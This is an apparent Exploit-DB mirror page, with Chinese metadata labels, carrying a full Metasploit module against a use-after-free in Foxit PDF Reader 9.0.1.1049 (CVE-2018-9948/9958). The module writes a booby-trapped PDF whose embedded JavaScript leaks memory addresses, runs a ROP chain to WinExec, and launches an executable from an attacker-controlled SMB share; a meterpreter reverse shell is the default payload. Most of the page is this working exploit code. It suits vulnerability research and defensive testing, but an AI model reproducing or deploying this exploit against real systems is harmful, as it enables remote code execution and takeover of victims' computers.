Foxit PDF Reader 9.0.1.1049 – Pointer Overwrite Use-After-Free (Metasploit)

  • 作者: Metasploit
    日期: 2018-08-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45269/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::FILEFORMAT
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
    'Description' => %q{
    Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
    in the Text Annotations component and the TypedArray's use
    uninitialized pointers.
    
    The vulnerabilities can be combined to leak a vtable memory address,
    which can be adjusted to point to the base address of the executable.
    A ROP chain can be constructed that will execute when Foxit Reader
    performs the UAF.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'mr_me',# Use-after-free and PoC
    'bit from meepwn',# Uninitialized pointer
    'saelo',# JavaScript Garbage Collector
    'Jacob Robles'# Metasploit Module
    ],
    'References' =>
    [
    ['CVE', '2018-9948'],
    ['CVE', '2018-9958'],
    ['ZDI', '18-332'],
    ['ZDI', '18-342'],
    ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
    ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
    ],
    'DefaultOptions' =>
    {
    'DisablePayloadHandler' => true,
    'FILENAME' => 'test.pdf',
    'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
    },
    'Platform' => 'win',
    'Targets' =>
    [
    ['Windows 10 Pro x64 Build 17134', {}]
    ],
    'DisclosureDate' => 'Apr 20 2018',
    'DefaultTarget' => 0))
    
    register_options([
    OptString.new('EXENAME', [false, 'EXE file to download', '']),
    OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
    ])
    end
    
    def pdfdoc
    share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
    fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
    fname << '.exe' unless fname.ends_with?('.exe')
    
    share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
    num = 4 - (share_path.length % 4)
    share_path << "\x00"*num
    return nil if share_path.length > 44
    
    print_status("share_path: #{share_path}")
    
    rop = ''
    max_index = 0
    share_path.unpack('V*').each_with_index {|blk, index|
    rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
    max_index = index
    }
    
    (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
    
    <<~PDFDOC
    %PDF
    1 0 obj
    <</Pages 1 0 R /OpenAction 2 0 R>>
    2 0 obj
    <</S /JavaScript /JS (
    
    var heap_ptr = 0;
    var foxit_base = 0;
    var pwn_array= [];
    
    function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
    arr[i] = this.addAnnot({type: "Text"});;
    if (typeof arr[i] == "object"){
    arr[i].destroy();
    }
    }
    }
    
    function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
    var x = new ArrayBuffer(maxMallocBytes);
    }
    }
    
    function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
    pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
    }
    
    function control_memory(){
    for (var i = 0; i < 0x64; i++){
    for (var j = 0; j < pwn_array[i].length; j++){
    pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
    }
    }
    }
    
    function leak_vtable(){
    var a = this.addAnnot({type: "Text"});
    
    a.destroy();
    gc();
    
    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);
    
    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
    }
    
    function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);
    
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);
    
    alloc_at_leak();
    heap_ptr = stolen[1];
    }
    
    function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
    arr[i] = new ArrayBuffer(0x60);
    var rop = new Int32Array(arr[i]);
    
    rop[0x00] = heap_ptr;// pointer to our stack pivot from the TypedArray leak
    rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
    rop[0x02] = 0x72727272;// junk
    rop[0x03] = foxit_base + 0x00001450// pop ebp; ret
    rop[0x04] = 0xffffffff;// ret of WinExec
    rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
    rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
    rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
    rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
    rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
    rop[0x0a] = foxit_base + 0x0041c6ca; // ret
    rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
    #{rop}
    rop[0x17] = 0x00000000;// adios, amigo
    }
    }
    
    function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
    "0":{
    get: function () {
    
    that.getAnnot(0, "uaf").destroy();
    
    reclaim();
    return 1;
    }
    }
    });
    
    a.point = arr;
    }
    
    function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
    }
    
    if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
    if (app.appFoxitVersion == "9.0.1.1049"){
    main();
    }
    }
    }
    
    )>> trailer <</Root 1 0 R>>
    PDFDOC
    end
    
    def exploit
    mypdf = pdfdoc
    if mypdf.nil?
    fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
    end
    file_create(mypdf)
    end
    end